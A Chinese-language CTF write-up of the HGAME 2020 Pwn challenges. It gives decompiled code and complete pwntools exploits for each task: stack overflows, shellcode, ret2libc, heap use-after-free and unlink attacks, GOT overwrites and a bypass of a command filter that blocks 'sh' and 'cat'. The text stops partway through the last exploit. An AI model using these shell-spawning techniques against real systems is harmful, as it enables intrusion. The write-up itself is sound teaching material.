【WriteUp】HGAME 2020--Pwn题解

WriteUpHGAME

休闲休闲

Hard_AAAAA

Description:

无脑AAA太无聊了，挑战更高难度的无脑AAA！
nc 47.103.214.163 20000

Solution:

满足条件即可，有后门的，主函数如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+0h] [ebp-ACh]
  char v5; // [esp+7Bh] [ebp-31h]
  unsigned int v6; // [esp+A0h] [ebp-Ch]
  int *v7; // [esp+A4h] [ebp-8h]

  v7 = &argc;
  v6 = __readgsdword(0x14u);
  alarm(8u);
  setbuf(_bss_start, 0);
  memset(&s, 0, 0xA0u);
  puts("Let's 0O0o\\0O0!");
  gets(&s);
  if ( !memcmp("0O0o", &v5, 7u) )
    backdoor();
  return 0;
}

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Hard_AAAAA')
else:
    p = remote('47.103.214.163', 20000)

pd = 'a' * 0x7b
pd += '0O0o\x00O0'
p.sendlineafter('Let\'s 0O0o\\0O0!\n', pd)
p.interactive()

Flag:

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hgame{0OoO0oo0O0Oo}

Number_Killer

Description:

看起来人畜无害的一些整数也能秒我？(吃惊)
nc 47.103.214.163 20001

Solution:

主函数如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v4[11]; // [rsp+0h] [rbp-60h]
  int i; // [rsp+5Ch] [rbp-4h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  memset(v4, 0, 0x50uLL);
  puts("Let's Pwn me with numbers!");
  for ( i = 0; i <= 19; ++i )
    v4[i] = readll();
  return 0;
}

可以看到有数组溢出漏洞，所以编写 shellcode 即可，readall 函数如下：

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__int64 readll()
{
  char nptr[8]; // [rsp+0h] [rbp-20h]
  __int64 v2; // [rsp+8h] [rbp-18h]
  int v3; // [rsp+10h] [rbp-10h]
  int v4; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  *(_QWORD *)nptr = 0LL;
  v2 = 0LL;
  v3 = 0;
  v4 = 0;
  for ( i = 0; read(0, &nptr[i], 1uLL) > 0 && i <= 19 && nptr[i] != 10; ++i );
  return atoll(nptr);
}

最后写入的 shellcode 会被转换为数字，所以我们每次传入的 shellcode 的末尾不能超过 \x7f

自己手写 shellcode 就完了，注意末尾字节即可

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Number_Killer')
else:
    p = remote('47.103.214.163', 20001)
rop_jmp_rsp = 0x40078a

p.sendlineafter("Let's Pwn me with numbers!\n", '\x00')
for i in range(1, 12):
    p.sendline(str(0xcffffffff))
p.sendline(str(rop_jmp_rsp))
p.sendline(str(u64('\x48\x31\xc9\x48\xbb\x2f\x2f\x62')))
p.sendline(str(u64('\x69\x6e\x2f\x73\x68\x48\x89\x1f')))
p.sendline(str(u64('\x48\x31\xdb\xb8\x3b\x00\x00\x00')))
p.sendline(str(u64('\x0f\x05'.ljust(8, '\x00'))))
for i in range(17, 18):
    p.sendline(str(0))
# gdb.attach(p, "b *0x40078d\nc")
p.sendline(str(0))
p.interactive()

Flag:

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hgame{Ea2y_2hel1c0de_1n_St4ck}

One_Shot

Description:

一发入魂
nc 47.103.214.163 20002

Solution:

这题是把 flag 文件的内容读到 bss 段里了，然后依靠一个字节的覆盖来泄露 flag 即可

主函数如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  _BYTE *v4; // [rsp+8h] [rbp-18h]
  int fd[2]; // [rsp+10h] [rbp-10h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  v4 = 0LL;
  *fd = open("./flag", 0, envp);
  setbuf(stdout, 0LL);
  read(fd[0], &flag, 0x1EuLL);
  puts("Firstly....What's your name?");
  __isoc99_scanf("%32s", &name);
  puts("The thing that could change the world might be a Byte!");
  puts("Take tne only one shot!");
  __isoc99_scanf("%d", &v4);
  *v4 = 1;
  puts("A success?");
  printf("Goodbye,%s", &name);
  return 0;
}

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./One_Shot')
else:
    p = remote('47.103.214.163', 20002)

addr_shot = 0x6010DF
p.sendlineafter("Firstly....What's your name?\n", 'a' * 31)
p.sendlineafter("Take tne only one shot!\n", str(addr_shot))
p.recvuntil('\x61\x01')
p.interactive()

Flag:

1
hgame{On3_Sh0t_0ne_Fl4g}

ROP_LEVEL0

Description:

ROP is PWNers’ romance
nc 47.103.214.163 20003

Solution:

简单的 ret2libc，这题的 vuln 函数不给也罢

主函数如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-50h]
  int v6; // [rsp+38h] [rbp-18h]
  int fd[2]; // [rsp+48h] [rbp-8h]

  memset(&buf, 0, 0x38uLL);
  v6 = 0;
  setbuf(_bss_start, 0LL);
  v3 = open("./some_life_experience", 0);
  *(_QWORD *)fd = v3;
  read(v3, &buf, 0x3CuLL);
  puts(&buf);
  read(0, &buf, 0x100uLL);
  return 0;
}

主函数就有溢出直接用就好了

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process('./ROP_LEVEL0')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20003)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP_LEVEL0', checksec=False)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
rop_pop_rdi_ret = 0x400753
addr_vuln = 0x400636


pd = 'a' * 0x58
pd += p64(rop_pop_rdi_ret)
pd += p64(got_puts)
pd += p64(plt_puts)
pd += p64(addr_vuln)
p.sendafter('You can not only cat flag but also Opxx Rexx Wrxxx ./flag\n', pd)

addr_puts = u64(p.recv(6).ljust(8, '\x00'))
libcbase = addr_puts - libc.sym['puts']
addr_system = libcbase + libc.sym['system']
addr_bin_sh = libcbase + libc.search('/bin/sh').next()

pd = 'a' * 0x18
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bin_sh)
pd += p64(addr_system)
pd += p64(addr_vuln)
p.send(pd)
p.interactive()

Flag:

1
hgame{R0P_1s_H4cK3rs'_RoM4nC3}

findyourself

Description:

baby题有两种，这是第一种，虽然这题名字没有baby
nc 47.103.214.163 21000

Solution:

考察命令绕过的题，不常见不常见，主函数如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s1; // [rsp+0h] [rbp-90h]
  char buf; // [rsp+40h] [rbp-50h]
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  init();
  memset(&buf, 0, 0x40uLL);
  getcwd(&buf, 0x40uLL);
  puts("where are you?");
  read_n(&s1, 0x40u);
  if ( strcmp(&s1, &buf) )
  {
    puts("nonono,not there");
    exit(0);
  }
  read_n(&s1, 0x14u);
  if ( check2(&s1) == -1 )
  {
    puts("oh,it's not good idea");
    exit(0);
  }
  close(1);
  close(2);
  system(&s1);
  return 0;
}

其中重要的函数是 init 函数、check2 函数和 init 里面的 check1 函数

check2 函数如下：

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signed __int64 __fastcall check2(const char *a1)
{
  signed __int64 result; // rax

  if ( strchr(a1, '*')
    || strstr(a1, "sh")
    || strstr(a1, "cat")
    || strstr(a1, "..")
    || strchr(a1, '&')
    || strchr(a1, '|')
    || strchr(a1, '>')
    || strchr(a1, '<') )
  {
    result = 0xFFFFFFFFLL;
  }
  else
  {
    result = 0LL;
  }
  return result;
}

这块绕过很简单，用/和?绕过就行了，初始化的 init 函数如下：

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unsigned __int64 init()
{
  int buf; // [rsp+4h] [rbp-51Ch]
  int i; // [rsp+8h] [rbp-518h]
  int fd; // [rsp+Ch] [rbp-514h]
  int v4[52]; // [rsp+10h] [rbp-510h]
  char v5[1008]; // [rsp+E0h] [rbp-440h]
  char s; // [rsp+4D0h] [rbp-50h]
  char command; // [rsp+4F0h] [rbp-30h]
  unsigned __int64 v8; // [rsp+518h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  fd = open("/dev/urandom", 0);
  buf = 0;
  read(fd, &buf, 1uLL);
  buf %= 50;
  if ( fd < 0 )
    exit(-1);
  chdir("./tmp");
  for ( i = 0; i <= 49; ++i )
  {
    read(fd, &v4[i], 4uLL);
    snprintf(&v5[20 * i], 0x14uLL, "0x%x", v4[i]);
    mkdir(&v5[20 * i], 0x1EDu);
  }
  snprintf(&s, 0x16uLL, "./%s", &v5[20 * buf]);
  chdir(&s);
  puts("find yourself");
  read_n(&command, 0x19u);
  if ( check1(&command) != -1 )
    system(&command);
  return __readfsqword(0x28u) ^ v8;
}

可以看到程序先取了随机数取余，作为下标参数，存储相对应的下标的值到&s里并将其设置为当前目录

之后可以执行一个系统命令，但要先经过 check1 函数，函数如下：

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signed __int64 __fastcall check1(const char *a1)
{
  signed __int64 result; // rax
  int i; // [rsp+1Ch] [rbp-14h]

  for ( i = 0; i < strlen(a1); ++i )
  {
    if ( (a1[i] <= 96 || a1[i] > 122) && (a1[i] <= 64 || a1[i] > 90) && a1[i] != '/' && a1[i] != ' ' && a1[i] != '-' )
      return 0xFFFFFFFFLL;
  }
  if ( strstr(a1, "sh") || strstr(a1, "cat") || strstr(a1, "flag") || strstr(a1, "pwd") || strstr(a1, "export") )
    result = 0xFFFFFFFFLL;
  else
    result = 0LL;
  return result;
}

可以看到程序只允许大小写字母以及/、和-的输入

当时我就想这块不是能直接提权吗，就直接输入了setarch athlon，本机没问题但是远程却不行

想到可能没有这个命令，于是我就用ls -la /bin查看了一下，只有孤零零的这几个命令：

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root@lepPwn:~/CTF/Pwn/sad# nc 47.103.214.163 21000
find yourself
ls -la /bin
total 392
drwxr-xr-x 2 0    0   4096 Jan 22 23:57 .
drwxr-x--- 1 0 1000   4096 Jan 25 02:43 ..
-rwxr-xr-x 1 0    0  52080 Jan 22 23:57 cat
-rwxr-xr-x 1 0    0 126584 Jan 22 23:57 ls
-rwxr-xr-x 1 0    0 154072 Jan 22 23:57 sh
-rwxr-xr-x 1 0    0  56704 Jan 22 23:57 timeout

这就很烦了，所以之后我选择了去固定选/tmp文件夹里面的一个目录作为当前目录，看自己有没有欧气能正好对应上，于是乎写了爆破脚本

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 2
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
while True:
    try:
        if debug == 1:
            p = process('./fys')
        else:
            p = remote('47.103.214.163', 21000)
        # gdb.attach(p, "set follow-fork-mode parent\nb *0x400D4A\nc")
        p.sendlineafter('find yourself\n', 'ls -tla /tmp')
        for i in range(0, 0x10):
            p.recvuntil('\n')
        p.recvuntil('0x')
        pwd = '/tmp/0x' + p.recvuntil('\n')[:-1]
        p.recvuntil('where ')
        p.sendlineafter('are you?\n', pwd)
        info('pwd = ' + pwd)
        p.recvuntil('nonono,not there\n', timeout=0.2)
    except EOFError:
        pd = '/bin/?h'
        p.sendline(pd)
        p.sendline("exec 1>&0")
        p.interactive()
        p.close()
        break
    else:
        p.close()
        continue

Flag:

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hgame{You_4re_So_C1EV3R}

Roc826s_Note

Description:

不好好学C的话是很容易随手写出PWN题的
nc 47.103.214.163 21002

Solution:

基础堆题，主函数如下：

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int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setbuf(stdin, 0LL);
  setbuf(_bss_start, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = readi();
        if ( v3 != 2 )
          break;
        dele();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 != 3 )
    {
      if ( v3 == 4 )
        exit(0);
LABEL_13:
      exit(0);
    }
    show();
  }
}

add 函数如下：

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__int64 add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 19 )
    {
      puts("full!");
      return 0LL;
    }
    if ( !list[i] )
      break;
  }
  puts("size?");
  v2 = readi();
  if ( v2 < 0 || v2 > 0x90 )
  {
    puts("Invalid size!");
    exit(0);
  }
  list[i] = malloc(v2);
  printf("content:");
  read_n(list[i], v2);
  puts("done!");
  return 0LL;
}

dele 函数如下：

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__int64 dele()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index?");
  v1 = readi();
  if ( list[v1] )
  {
    free(list[v1]);
    puts("done!");
  }
  else
  {
    puts("Invalid index!");
  }
  return 0LL;
}

show 函数如下：

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__int64 show()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index?");
  v1 = readi();
  if ( list[v1] )
  {
    printf("content:");
    puts(list[v1]);
  }
  else
  {
    puts("Invalid index!");
  }
  return 0LL;
}

有 uaf，利用 unsorted bin 泄露 libc，之后修改 __malloc_hook 为 one_gadget 即可

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Roc826')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 21002)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Roc826', checksec=False)


def add(add_size, add_content):
    p.sendlineafter(':', '1')
    p.sendlineafter('size?\n', str(add_size))
    p.sendlineafter('content:', add_content)


def dele(dele_idx):
    p.sendlineafter(':', '2')
    p.sendlineafter('index?\n', str(dele_idx))


def show(show_idx):
    p.sendlineafter(':', '3')
    p.sendlineafter('index?\n', str(show_idx))
    p.recvuntil('content:')


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
add(0x80, '')
add(0x60, '')
add(0x60, '')
dele(0)
show(0)

addr___malloc_hook = u64(p.recv(6).ljust(8, '\x00')) - 88 - 0x10
libcbase = addr___malloc_hook - libc.sym['__malloc_hook']
addr_one_gadget = libcbase + libc_one_gadget[3]

add(0x80, '')
dele(1)
dele(2)
dele(1)
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, p64(addr___malloc_hook - 0x23))
add(0x60, 'a' * 0x13 + p64(addr_one_gadget))
p.sendlineafter(':', '1')
p.sendlineafter('size?\n', '1')
success('addr___malloc_hook = ' + hex(addr___malloc_hook))
success('libcbase           = ' + hex(libcbase))
success('addr_one_gadget    = ' + hex(addr_one_gadget))
# gdb.attach(p)
p.interactive()

Flag:

1
hgame{W3lc0mE_T0_The_D0Or_of_He4p}

Another_Heaven

Description:

永遠と呼びたい 君に 出逢えた ことだけは
nc 47.103.214.163 21001

Solution:

主程序如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char v4; // [rsp+Bh] [rbp-35h]
  char v5[12]; // [rsp+Ch] [rbp-34h]
  __int64 v6; // [rsp+18h] [rbp-28h]
  __int64 v7; // [rsp+20h] [rbp-20h]
  __int64 v8; // [rsp+28h] [rbp-18h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  v4 = 0;
  *&v5[4] = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  init();
  puts("There is a back door...\"Hacked by Annevi!\"");
  *v5 = readi();
  read(0, *v5, 1uLL);
  puts("==========================================");
  puts(" ____  ");
  puts("|  _ \\ ___  _ __ _ __ | | | |_   _| |__  ");
  puts("| |_) / _ \\| '__| '_ \\| |_| | | | | '_ \\ ");
  puts("|  __/ (_) | |  | | | |  _  | |_| | |_) |");
  puts("|_|   \\___/|_|  |_| |_|_| |_|\\__,_|_.__/ ");
  puts(&byte_40101A);
  puts("==========================================");
  puts("              Login System");
  printf("Account:", *v5);
  read_n(ainput, 32);
  if ( strcmp(ainput, account) )
  {
    puts("Account Error!");
    exit(0);
  }
  printf("Password:", account);
  read_n(password, 48);
  if ( !strcmp(password, flag) )
  {
    puts("Welcome!The emperor Qie!");
    puts("|Recommended|Hottest|Most Viewed......");
    result = 0;
  }
  else
  {
    puts("Wrong Password!");
    sleep(1u);
    puts("Forgot your password?(y/n)");
    read_n(&v4, 1);
    if ( v4 != 'y' )
      exit(0);
    puts("Security verification problem:Who is your Wife?");
    read_n(&v5[4], 32);
    if ( strncmp(&v5[4], s2, 0x30uLL) )
    {
      puts("no,no,no!");
      exit(0);
    }
    puts("Welcome!The emperor Qie!");
    puts("Change your password,plz:");
    cpswd();
    puts("|Recommended|Hottest|Most Viewed......");
    result = 0;
  }
  return result;
}

利用一上来的后门改写 strcmp 函数为 printf 函数，之后利用%n的特性让 printf 返回 0 来绕过 if 检测

最后利用%s打印 flag 即可

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Another_Heaven')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 21001)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Another_Heaven', checksec=False)
got_strcmp = elf.got['strcmp']
plt_printf = elf.plt['printf']

# gdb.attach(p, "b *0x400CE8\nc")
p.sendlineafter('There is a back door..."Hacked by Annevi!"\n', str(got_strcmp))
p.send(chr(plt_printf & 0xff))
p.sendlineafter('Account:', '%n')
p.sendlineafter('Password:', '%s')
p.sendlineafter('Forgot your password?(y/n)\n', 'n')
success('got_strcmp  = ' + hex(got_strcmp))
success('plt_printf  = ' + hex(plt_printf))
p.interactive()

Flag:

1
hgame{VGhlX2Fub3RoZXJfd2F5X3RvX2hlYXZlbg==}

形而上的坏死

Description:

Can you deceive the world？The lonely observer！
nc 47.103.214.163 21003

Solution:

主程序如下：

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__int64 game()
{
  signed __int64 v0; // rsi
  __int64 v2; // [rsp+0h] [rbp-C0h]
  __int64 v3; // [rsp+8h] [rbp-B8h]
  int v4; // [rsp+8h] [rbp-B8h]
  char v5[160]; // [rsp+10h] [rbp-B0h]
  char v6[8]; // [rsp+B0h] [rbp-10h]
  unsigned __int64 v7; // [rsp+B8h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  LODWORD(v3) = 0;
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("这一天，你在路上偶遇了睿智的逆向出题人:The eternal God Y!");
  puts("只见他拿着一把AWP不知道在那瞄谁。");
  puts("他发现了你，喜出望外:兄弟，包给你快去下包，我帮你架点!");
  puts("你要把C4安放在哪里呢？");
  HIDWORD(v3) = readi("你要把C4安放在哪里呢？", 0LL);
  read(0, &v6[8 * HIDWORD(v3)], 8uLL);
  puts("the bomb has been planted!");
  getchar();
  puts("a few moments later~");
  puts("快过年了，正好有一条养了一年多的金枪鱼最近看起来闷闷不乐。");
  puts("不如把它宰了，吃一顿大餐，你说吼不吼啊！");
  getchar();
  printf("但是这一年多对它也有了些许感情，因此为了纪念它，你决定给它起个名字:");
  v0 = 48LL;
  read_n(name, 48LL);
  puts("------------------------------------------------------------------");
  puts("接下来开始切菜，你打算把它切成几段呢？");
  HIDWORD(v2) = readi("接下来开始切菜，你打算把它切成几段呢？", 48LL);
  if ( SHIDWORD(v2) > 20 )
  {
    puts("要被砍成金枪鱼酱了啦！");
    exit(0);
  }
  puts("------------------------------------------------------------------");
  puts(
    "为了满足每个人不同的口味，每一段都打算用不同的烹饪方法。顺带一提，我喜欢糖醋金枪鱼");
  LODWORD(v2) = 0;
  while ( BYTE4(v2) > v2 )
  {
    printf("第%d段打算怎么料理呢：", v2, v2, v3);
    memset(&v5[8 * v2], 0, 8uLL);
    v0 = 8LL;
    read_n(&v5[8 * v2], 8LL);
    LODWORD(v2) = v2 + 1;
  }
  puts("接下来你打算把剩下的鱼骨头做成标本。");
  sleep(1u);
  puts("-----------------------------------------------------------");
  puts("|                                                         |");
  puts(name);
  puts("|                                                         |");
  puts("-----------------------------------------------------------");
  puts("就在此时，你发现了一根茄子，这根茄子居然已经把锅里的金枪鱼吃了大半。");
  getchar();
  puts("仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。");
  getchar();
  puts("你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:");
  LODWORD(v3) = readi(
                  "你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:",
                  v0);
  puts("E99p1ant落地后，发现旁边居然有一个C4……Bomb！Terrorist Win");
  write(1, &v6[8 * HIDWORD(v3)], 6uLL);
  puts("E99p1ant不甘地大喊:啊~~！~？~…____");
  if ( flag1 == 1 )
  {
    read_n(&e99 + 8 * v4, 8LL);
    puts("E99p1ant变成了茄酱。");
    flag1 = 0;
  }
  else
  {
    puts("嗯？！世界线……被改变了，我的Reading Steiner触发了！");
  }
  return 0LL;
}

在 libc 中找能返回起始地址的跳点，之后再改成 one_gadget 即可

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Metaphysical_Necrosis')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 21003)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Metaphysical_Necrosis', checksec=False)


libc_one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
gdb.attach(p, "b *$rebase(0xC8C)\nb *$rebase(0xF18)\nc")
p.sendlineafter('你要把C4安放在哪里呢？\n', str(5))
p.send('\x16')
p.sendlineafter('the bomb has been planted!\n', '')
p.sendlineafter('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n', '')
p.sendlineafter('但是这一年多对它也有了些许感情，因此为了纪念它，你决定给它起个名字:', 'bbbb')
p.sendlineafter('接下来开始切菜，你打算把它切成几段呢？\n', str(0))
p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n')
sleep(1)
p.sendlineafter('就在此时，你发现了一根茄子，这根茄子居然已经把锅里的金枪鱼吃了大半。\n', '')
p.sendlineafter('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\n', '')
p.sendlineafter('你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:\n', str(10))
p.recvuntil('E99p1ant落地后，发现旁边居然有一个C4……Bomb！Terrorist Win\n')

addr___libc_start_main = u64(p.recv(6).ljust(8, '\x00')) - 214
libcbase = addr___libc_start_main - libc.sym['__libc_start_main']
addr_one_gadget = libcbase + libc_one_gadget[0]

p.sendlineafter('E99p1ant不甘地大喊:啊~~！~？~…____\n', 'BBBB')

p.sendlineafter('你要把C4安放在哪里呢？\n', str(5))
p.send(p64(addr_one_gadget))
p.sendlineafter('the bomb has been planted!\n', '')
p.sendlineafter('不如把它宰了，吃一顿大餐，你说吼不吼啊！\n', '')
p.sendlineafter('但是这一年多对它也有了些许感情，因此为了纪念它，你决定给它起个名字:', 'bbbb')
p.sendlineafter('接下来开始切菜，你打算把它切成几段呢？\n', str(0))
p.recvuntil('接下来你打算把剩下的鱼骨头做成标本。\n')
sleep(1)
p.sendlineafter('就在此时，你发现了一根茄子，这根茄子居然已经把锅里的金枪鱼吃了大半。\n', '')
p.sendlineafter('仔细观察一下，你发现这居然是一只E99p1ant，并且有大量邪恶的能量从中散发。\n', '')
p.sendlineafter('你吓得立马扔掉了它，E99p1ant在空中飞行了114514秒，请问它经过的路程是__m:\n', str(10))
p.recvuntil('E99p1ant落地后，发现旁边居然有一个C4……Bomb！Terrorist Win\n')
p.sendlineafter('E99p1ant不甘地大喊:啊~~！~？~…____\n', '/bin/sh\x00')
success('addr___libc_start_main = ' + hex(addr___libc_start_main))
success('addr_one_gadget        = ' + hex(addr_one_gadget))
p.interactive()

Flag:

1
hgame{H4Ck1ng_T0_Th3_G4TE!}

ROP_LEVEL2

Description:

nc 47.103.214.163 20300

Solution:

程序保护如下：

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5
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

这题开了沙箱：

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root@lepPwn:~/CTF/Pwn# seccomp-tools dump ./ROP line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x05 0xc000003e  if (A != ARCH_X86_64) goto 0007
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x02 0xffffffff  if (A != 0xffffffff) goto 0007
 0005: 0x15 0x01 0x00 0x0000003b  if (A == execve) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x00000000  return KILL

主程序如下：

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int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf; // [rsp+0h] [rbp-50h]
  int fd[2]; // [rsp+48h] [rbp-8h]

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  init();
  puts("It's just a little bit harder...Do you think so?");
  read(0, &::buf, 0x100uLL);
  v3 = open("./some_life_experience", 0);
  *fd = v3;
  read(v3, &buf, 0x3CuLL);
  puts(&buf);
  read(0, &buf, 0x60uLL);
  return 0;
}

用栈迁移加上 orw 即可，因为程序栈迁移后 rdx 始终为 0x60，所以就不用管 rdx 了

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process('./ROP')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20300)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./ROP', checksec=False)
plt_open = elf.plt['open']
plt_read = elf.plt['read']
plt_puts = elf.plt['puts']
rop_pop_rdi_ret = 0x400a43
rop_pop_rsi_pop_r15_ret = 0x400a41
rop_leave_ret = 0x40090d
addr_bss = 0x6010A0
addr_main = 0x4009BA

# gdb.attach(p, "b *0x4009cb\nc")
pd = p64(addr_bss + 0x8)
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bss + 0x80)
pd += p64(rop_pop_rsi_pop_r15_ret)
pd += p64(0)
pd += p64(0)
pd += p64(plt_open)
pd += p64(rop_pop_rdi_ret)
pd += p64(4)
pd += p64(rop_pop_rsi_pop_r15_ret)
pd += p64(addr_bss - 0x30)
pd += p64(0x30)
pd += p64(plt_read)
pd += p64(rop_pop_rdi_ret)
pd += p64(addr_bss - 0x30)
pd += p64(plt_puts)
pd += '/flag'
p.sendafter("It's just a little bit harder...Do you think so?\n", pd)

pd = 'a' * 0x50
pd += p64(addr_bss)
pd += p64(rop_leave_ret)
p.sendafter('/flag\n\n', pd)
p.interactive()

Flag:

1
hgame{E4sy_St4cK_P1voTing}

Annevi_Note

Description:

libc 2.23
nc 47.103.214.163 20301

Solution:

程序保护如下：

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3
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5
Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

主函数如下：

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37
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        menu();
        v3 = readi();
        if ( v3 != 2 )
          break;
        dele();
      }
      if ( v3 > 2 )
        break;
      if ( v3 != 1 )
        goto LABEL_13;
      add();
    }
    if ( v3 == 3 )
    {
      show();
    }
    else
    {
      if ( v3 != 4 )
LABEL_13:
        exit(0);
      edit();
    }
  }
}

add 函数如下：

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__int64 add()
{
  signed int i; // [rsp+8h] [rbp-8h]
  signed int v2; // [rsp+Ch] [rbp-4h]

  for ( i = 0; ; ++i )
  {
    if ( i > 19 )
    {
      puts("full!");
      return 0LL;
    }
    if ( !list[i] )
      break;
  }
  puts("size?");
  v2 = readi();
  if ( v2 <= 0x8F )
  {
    puts("Invalid size!");
    exit(0);
  }
  list[i] = malloc(v2);
  printf("content:");
  read_n(list[i], v2);
  puts("done!");
  return 0LL;
}

delete 函数没有 uaf，但是 edit 函数有越界写 hhh，edit 函数如下：

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__int64 edit()
{
  int v1; // [rsp+Ch] [rbp-4h]

  puts("index?");
  v1 = readi();
  if ( list[v1] )
  {
    printf("content:");
    read_n(list[v1], 0x100);
    puts("done!");
  }
  else
  {
    puts("Invalid index!");
  }
  return 0LL;
}

所以可以利用 edit 进行 chunk 的改造来实现 unlink 的条件，向后合并就完了

exp如下：

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#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
if debug == 1:
    p = process('./Annevi')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
else:
    p = remote('47.103.214.163', 20301)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
elf = ELF('./Annevi', checksec=False)


def add(add_size, add_content):
    p.sendlineafter(':', '1')
    p.sendlineafter('size?\n', str(add_size))
    p.sendlineafter('content:', add_content)


